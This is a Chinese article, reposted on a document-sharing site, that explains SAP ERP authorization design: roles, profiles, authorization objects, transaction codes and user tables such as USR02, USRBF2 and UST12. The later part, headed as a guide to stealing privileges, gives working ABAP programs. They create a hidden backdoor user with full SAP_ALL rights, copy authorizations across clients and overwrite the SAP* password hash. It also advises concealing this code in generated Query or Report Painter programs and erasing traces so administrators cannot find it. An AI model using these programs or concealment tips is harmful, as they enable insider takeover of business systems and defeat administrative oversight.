SAP权限设计 SAP权限设计_第1页
SAP权限设计 SAP权限设计_第2页
SAP权限设计 SAP权限设计_第3页
SAP权限设计 SAP权限设计_第4页
SAP权限设计 SAP权限设计_第5页
已阅读5页,还剩8页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

小技巧-ERP权限控制繁中求简,闲聊一下SAP复杂权限设计的基本思想。特别是适合大集团业务的ERP系统,应该提供一个非常完善的权限控制机制,甚至允许将权限控制字段细到字段级别,如果权限控制都做不到这点,估计产品销售就够呛!多年以前,俺还在软件幼稚园时,老师布置的权限作业,权限大概是设计的:Select用户名From用户表where用户名='butcher'(得到用户名)select权限组IDFrom权限表where用户名='butcher'(得到用户对应的权限组ID)select*From权限控制列表where权限组ID=‘*****’(得到没个权限组ID对应的明细权限列表也就是用户的明细权限)这种简单的权限设置是无法满足复杂的业务需求的,多年以后,居然国内还有很多软件公司在权限设计上还在玩这套小把戏。现在来看看“伟大的”SAP的权限设计思路,首先了解下几个Tcode和权限相关表格。常用权限相关Tcode.(一)Role(角色)相关T-code:PFCG创建ROLE_CMP角色比较SUPC批量建立角色profile(二)建立用户SU01建立用户SU01D显示用户SU2|SU3|SU50|SU51|SU52改变/显示用户个人参数SU10|SU12批量维护用户SUCOMP维护用户公司地址SUIM用户信息系统(强调一下)(三)建立用户组SUGR|SUGRD_NAV维护用户组SUGRD|SUGR_NAV显示用户组(四)维护检查授权SU20|SU21自定义授权字段和授权对象SU53当出现权限问题可使用它检测未授权对象.SU56:分析authoraztiondatabuffers.

常用权限相关表格:TOBJ:Allavaiableauthorzationobjects.(ERP系统默认的所有授权对象)USR12:用户级authoraztion值USR02:UserLogonData(包括用户名称密码,是否锁住等字段)USR03:UseraddressdataUSR05:UserMasterParameterID(TcodeSU3可查看用户参数文件的参数ID默认值)USR41:当前用户(即TcodeSM04看到的所有当前活动用户,包括各种对话系统通信类用户)USRBF2:记录当前用户所有的授权objectsUST04:UserProfilemaster(用户主数据中对应的权限参数文件名)UST10S:Singleprofiles(授权文件,权限参数和授权对象对应表)UST12:Authorizations(具体授权细节)重点提示:USR02/USRBF2/UST10S/UST12四个表包含的信息就是ERP权限控制的关键,USR02是用户主数据表,后三表和用户授权紧密相关。我现在举一个MM01建立物料主数据的实例,来说明SAP的权限控制设计思路,步骤如下:第一步:建立角色(Tcode:PFCG)图1中,假设建立角色ZMM01。图1-[1][2]:在菜单Tab页选择“事务“加入MM01->创建物料&,你还可为程序,查询这样的报表授权,选择”其它“还能为数据仓库等对象设置权限角色。图1-[3][4][5]:到“权限“Tab页看到系统自动产生的授权参数文件ProfilnameT-C1550437,然后选择”更改授权数据“,进入图2。显然系统并不意味你给了建立物料的权限就能随意使用该Tcode了,系统有更严格的细致控制。图2-[1][2]:我们可以看到建立物料主数据的权限分公司代码层次,仓库层次,物料类型层次,销售组织层次,物料组层次,和工厂层次等等,特别是对于象公司代码,销售组织和工厂这样的组织层次授权字段,控制点是非常必要的,一个大集团实施ERP,各公司代码,各公司代码下的各Plant授权用户只能建立各自的物料,现在来看看是如何控制到工厂级别的。图2-[3][4][5]:在每个控制级别(即权限控制字段)都分控制字段和作业,每个权限控制字段对应一个所谓的授权对象,工厂的授权对象是M_MATE_WRK,所有授权对象的作业统一都是ACTVT,包括01/02/03/06/08五个作业,即控制是否允许创建更改显示删除等。比如MM01的作业只给03->显示,则只能显示物料。注:如果有特殊权限控制需要,可以使用SU20|SU21自定义授权字段和授权对象图2-[6][7]:点击“工厂“,进去增加工厂权限,设置了工厂FRA1,FRA2和一个工厂范围FRM1-FRM2。注:如果公司代码,物料类,物料组,工厂等授权字段选择*表示允许输入该字段所有的内容。接下来,使用SU01建立一个用户假设名叫butcher,然后在此将角色ZMM01分配给它,如图3,记得要做“用户比较“知道该按纽变绿,这和人带的帽子不同,在角色设置中,越绿越好,至此,一个最简单的权限设置就Ok了,用户butcher只能使用MM01在工厂FRA1,FRA1,FRM1,FRM2四个工厂上建立物料主数据。现在来检查USRBF2/UST10S/UST12三个和用户授权相关的表格数据,如图4,图5和图6。图4是用户参数文件表USR10S和用户授权表USRBF2的合成图。图4-[1][3][4][6]:UST10S表的参数文件T-C1550437正是图1-[4]中定义角色ZMM01时生成的参数文件,对象表示的即授权对象,每个授权对象对应一个图4-[6]的权限名称T-C155043700|T-C155043701,这俩权限名称正是参数文件T-C1550437文件+系号。图4-[2][5]:用户授权对象表USRBF2包含了ERP用户BUTCHER所对应的(授权)对象和对象对应的权限名称,现在注意一下USRBF2表用户BUTCHER包含了工厂的授权对象M_MATE_WRK,其对应的授权名称是T-C155043700,那么图2-[7]设置的四个工厂FRA1,FRA1,FRM1,FRM2保存在什么地方呢?请见图6。为什么一个参数文件T-C1550437产生了两个T-C155043700|T-C155043701权限名称呢?查看权限对象设置时发现,在仓库授权对象M_MATE_LGN和销售组织/分销渠道授权M_MATE_VKO下系统竟默认了两次相同的授权作业,如图5。图5表示建立物料主数据的仓库号和销售组织/分销渠道默认授权了两次。图6中,可以看到授权对象M_MATE_WRK(即工厂授权对象)有5条记录,其中字段ACTVT有01,06两条,分表表示允许建立和删除物料数据,工厂WERKS有三条,正是FRA1,FRA2,和值FRM1到值FRM2,如图6-[2][3]。至此,权限设计的基本逻辑就非常清晰了,如果用户BUTCHER要建立某工厂的物料,首先从授权表中查看是否有M_MATE_WRK的授权对象,然后再到UST12去检查输入的工厂是否在授权范围,Ifnotso,则提示未授权。现在用户BUTCHER建立物料主数据,输入工厂1000,提示M3855未授权处理工厂1000的主数据,如图7。通常有两种便捷方法查找到权限控制逻辑:(1).SE91输入M3855查找,(2).直接在物料主数据建立程序中查找,一定能看到该主程序的子程序下到处都有象图7-[4]的AUTHORITY-CHECKOBJECT‘授权对象名称’ID‘ACTVT’‘作业允许号’ID‘授权字段‘FIELD‘用户输入内容“这样的权限检查逻辑。如果你了解了这个原理,那么有跟踪程序和修改变量的权限(对应授权对象S_DEVOP,02,只要你稍微熟悉ABAP,实际上你就拥有了一切权限。下面的附件是一个使用跟踪/H并修改授权返回变量的操作手册。回顾这个实例,注意以下三点。[1].创建角色Role将产生一个授权参数文件ProfielName。[2].一个授权参数文件包含许多授权对象AuthorityObjects,实际上是如果将多个Tcode或报表或起其它什么的赋予一个Role,系统将这些Tcode(或报表)对应的授权对象带出,这些授权对象当然在Tcode(报表对应的)程序逻辑中会有体现,则角色对应的授权参数文件将包含这些授权对象。[3].授权对象通常有两部分组成:一是作业ACTVT,作业号分别是:01 创建或生成02 更改03 显示06 删除08 显示修改文档二是授权字段,这些授权字段通常是诸如组织结构层次的公司代码,工厂,或其它比如物料类型,凭证类型等,这样可以做到更细微的权限控制。到现在为止,我们知道,实际上决定权限的是授权对象AuthorizationObject!用户的授权对象表在USRBF2中,所以只要往这个表插入数据就获得了权限,现在可以使用SE38建立用户和授予权限,这意味着使用ABAP可以迅速获得所有权限。不妨假设一下,一个ABAPer在开发机上建立这样的程序,然后传输到生产系统?Basis能发现?理论上,高明的ABAPer是不大可能被发现的,它可以将这段代码甚至移值到一段很不常用的标准程序比如Query,Reportpainter产生的自动程序上,并且在程序中填加删除一切痕迹的代码,甚至可以设置好自毁该段程序,绕过AccessKey修改标准程序也是轻易的!下面的程序ZCRTUSER是建立用户ZSTHACKER(初始密码123qaz)并赋予SAP*用户的所有权限的参考程序。ProgramZCRTUSER.DataZUSR02likeUSR02.***1.CreateUserZSTHACKERaccordingtoDDICselectsingle*intoZUSR02fromUSR02whereBNAME='DDIC'.ZUSR02-BNAME='ZSTHACKER'.ZUSR02-Bcode='E3B796BB09F7901B'.insertUSR02fromZUSR02.***2.CopyAuth.ObjfromSAP*(orother)***如果将WhereBNAME='SAP*'去掉,基本就是复制所有的授权对象dataZUSRBF2likeUSRBF2occurs0withheaderline.select*fromUSRBF2intotableZUSRBF2whereBNAME='SAP*'.LoopatZUSRBF2.ZUSRBF2-BNAME='ZSTHACKER'.ModifyZUSRBF2INDEXsy-tabixTRANSPORTINGBNAME.endloop.INSERTUSRBF2FROMTABLEZUSRBF2ACCEPTINGDUPLICATEKEYS.如果SAP*可能被删除,还可直接将TOBJ中包含的所有的ERP授权对象全部赋予给一个用户。以下程序ZALLOBJ是赋予所有的标准授权对象给用户ZSTHACKER。ProgramZALLOBJ。DataZtobjliketobjoccurs0withheaderline.datazusrbf2likeusrbf2.select*intotableztobjfromtobj.loopatztobj.zusrbf2-mandt=sy-mandt.zusrbf2-bname='ZSTHACKER'.zusrbf2-objct=ztobj-objct.zusrbf2-auth='&_SAP_ALL'.modifyUSRBF2FROMzusrbf2.endloop.也可跨Client建立用户和赋予权限,只要使用clientspecified就可以。ProgramZCLIENT.Datazusrbf2likeusrbf2.Select*intozusrbf2fromusrbf2wherebname='SAP*'.Zusrbf2-bname='ZSTHACKER'.Zusrbf2-mandt='100'.Insertintousrbf2clientspecifiedvalueszusrbf2.Endselect.下面是一句话修改SAP*的密码为123456的程序,同样,假设用户BUTCHER的密码丢失,我只要随便在一台服务器上建立一个用户也叫BUTCHER,然后密码设置为1QAZ2WSX,则其在任何系统任何client加密后的密码必为BF02C9F1FreportZMODPWD.tables:usr02.updateusr02setbcode='CF094BAA2020480E'whereBNAME='SAP*'.虽然以上只是一个建立物料主数据的权限控制,却非常清晰地解释了ERP系统权限控制的逻辑。常basis会使用PFCG做权限管理,时你保存时会产生一个系统外的profilename,

记得SU01时用户有profile和role两栏位吗?它们的关系如何呢?

首先明白几个概念.

1.activity

这样说吧,我们从activity谈起,activity是什么意思这个你查下

字典也就知道了,对就是规定可做什么动作,比如说不能吸烟只能喝酒,不能多于2两,

不对,这是我老婆讲的,SAP不是这样子的,是只能insert,update,display什么的.

这些东西当年德国佬是写在tobj表中的.

activity也是可分activitygroup的.

2.activitycategory&Authorizationgroup

RoleVsProfile

你看看表T020就知道了,就是什么K,D,A,M什么的.

profile是什么呢?实际上可以理解为所有的authorizationdata(有很多authorizationgroup--{你可使用OBA7填写,

权限太细也不是好事^_^}和activity组成)的一个集合的名字,通常一个自定义的role产

生一个profile,SAP权限控制是根据profile里的authorizationdata(objects)来控制的.

role又是什么呢?role只是一个名字而已,然后将profile赋予给它,比如你SU01建立一个

用户,我没有任何role,但是加如SAP_Allprofile

也是可做任何事情.

SAP本身有很多defaultrole&profile.

3.最常用的PFCG->authorizations->changeauthorizationdata->

进入后选取selectioncriteria可看到所有的authorizationobject

manually可手工加authorizationobject,比如你使用某个t-code权限出错误,abap使用SU53检查就

知道缺少哪个authorizationobjec,然后手工加入就可以.

你选去authorizationlevels就可byaccounttype再细分权限.

有些甚至直接到表字段.而且你甚至可给一个object分配缓存buffer.

那么SAP是如何做到权限控制的呢,屠夫就用刀小宰一下.

4.关于权限方面的几个t-code.

(一)Role(角色)相关T-code:

PFAC标准

PFAC_CHG改变

PFAC_DEL删除

PFAC_DIS显示

PFAC_INS新建

PFAC_STR

PFCG创建

ROLE_CMP比较

SUPC批量建立角色profile

SWUJ测试

SU03检测authorzationdata

SU25,SU26检查updatedprofile

(二)建立用户相关T-code:

SU0

SU01

SU01D

SU01_NAV

SU05

SU50,Su51,SU52

SU1

SU10批量

SU12批量

SUCOMP:维护用户公司地址

SU2change用户参数

SUIM用户信息系统

用户组

SUGR:维护

SUGRD:显示

SUGRD_NAV:还是维护

SUGR_NAV:还是显示

(三)关于profile&AuthoraztionData

SU02:直接创建profile不用role

SU20:细分AuthorizationFields

SU21(SU03):****维护AuthorizationObjects(TOBJ,USR12).

对于凭证你可细分到:

F_BKPF_BED:AccountingDocument:AccountAuthorizationforCustomers

F_BKPF_BEK:AccountingDocument:AccountAuthorizationforVendors

F_BKPF_BES:AccountingDocument:AccountAuthorizationforG/LAccounts

F_BKPF_BLA:AccountingDocument:AuthorizationforDocumentTypes

F_BKPF_BUK:AccountingDocument:AuthorizationforCompanyCodes

F_BKPF_BUP:AccountingDocument:AuthorizationforPostingPeriods

F_BKPF_GSB:AccountingDocument:AuthorizationforBusinessAreas

F_BKPF_KOA:AccountingDocument:AuthorizationforAccountTypes

F_BKPF_VW:AccountingDocument:ChangeDefaultValuesforDoc.Type/PsKy

然后你进去还可细分,这些个东西是save在USR12表中的.在DB层是UTAB.

对具体transactioncode细分:

SU22,SU24

SU53:***就是你出错用来检查没有那些authoraztionobjects.

SU56:分析authoraztiondatabuffers.

SU87:用来检查用户改变产生的history

SU96,SU97,SU98,SU99:干啥的?

SUPC:批量产生role

DB和logical层:

SUKRI:TransactionCombinationsCriticalforSecurity

tables:

TOBJ:Allavaiableauthorzationobjects.(全在此)

USR12:用户级authoraztion值

-----------------------------

USR01:主数据

USR02:密码在此

USR04:授权在此

USR03:Useraddressdata

USR05:UserMasterParameterID

USR06:AdditionalDataperUser

USR07:Object/valuesoflastauthorizationcheckthatfailed

USR08:Tableforusermenuentries

USR09:Entriesforusermenus(workareas)

USR10:Usermasterauthorizationprofiles

USR11:UserMasterTextsforProfiles(USR10)

USR12:Usermasterauthorizationvalues

USR13:ShortTextsforAuthorizations

USR14:SurchargeableLanguageVersionsperUser

USR15:ExternalUserName

USR16:ValuesforVariablesforUserAuthorizations

USR20ateoflastusermasterreorganization

USR21:Assignusernameaddresskey

USR22:Logondatawithoutkernelaccess

USR30:AdditionalInformationforUserMenu

USR40:Tableforillegalpasswords

USR41:当前用户

USREFUS:

USRBF2

USRBF3

UST04:UserProfile在此

UST10C:Compositeprofiles

UST10S:Singleprofiles(角色对应的

UST12:Authorizations..............................

..............................

如何窃取权限

..............................

用户:

Usertype用户类型(干啥用的不讲):

通常的用户类型有

a.dialog(就是normaluser)

munication

c.system

d.service

e.reference.

通常你在使用任何T-code前一定会有权限检测的.

AUTHORITY_CHECK:这个函数只是小检查一下你的user有没有,什么时候过期.

**如果coding只要使用此函数就够了.

AUTHORITY_CHECK_TCODE:检查T-code

这俩函数是真正检查autorizationobjects的.

SUSR_USER_AUTH_FOR_OBJ_GET:

AUTHORIZATION_DATA_READ_SELOBJ:

------------------------------------------

将SAP*的密码改成123的程序,很简单.

我们找到那个userlogon表USR02.

(DF52478E6FF90EEB是经过SAP加密保存在DB的,哪位老兄研究过SAP的密码加密?)

reportzmodSAP*.

datazUSR02likeUSR02.

selectsingle*intozUSR02fromUSR02

whereBNAME='SAP*'.

zUSR02-Bcode='DF52478E6FF90EEB'.

UpdateUSR02fromzUSR02.

现在的问题是如何让你那basis不发现,很简单,将code隐藏在Query里面,就是说你做一个

query,query是会产生code的,然后你加入此代码,谁能想到???然后你就等你的basis去哭...

这样做太狠毒了.还是自己偷偷搞自己的用户吧.

在此你必须对权限结构非常清晰.

权限和三个表有关系.

a.USR04

b.USR04

c.USRBF2这个表是对应到所用的authorzizationobjects的.

*&---------------------------------------------------------------------*

*&Report:StealSAPALLRight*

*&CreationDate:2004.04.01*

*&Createdby:Stone.Fu*

*&Description:可窃取SAPALL权限*

*&ModifiedDate:2005.11.02

*&Description:将此codehide在reportpainterorquerycode*

*&-

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论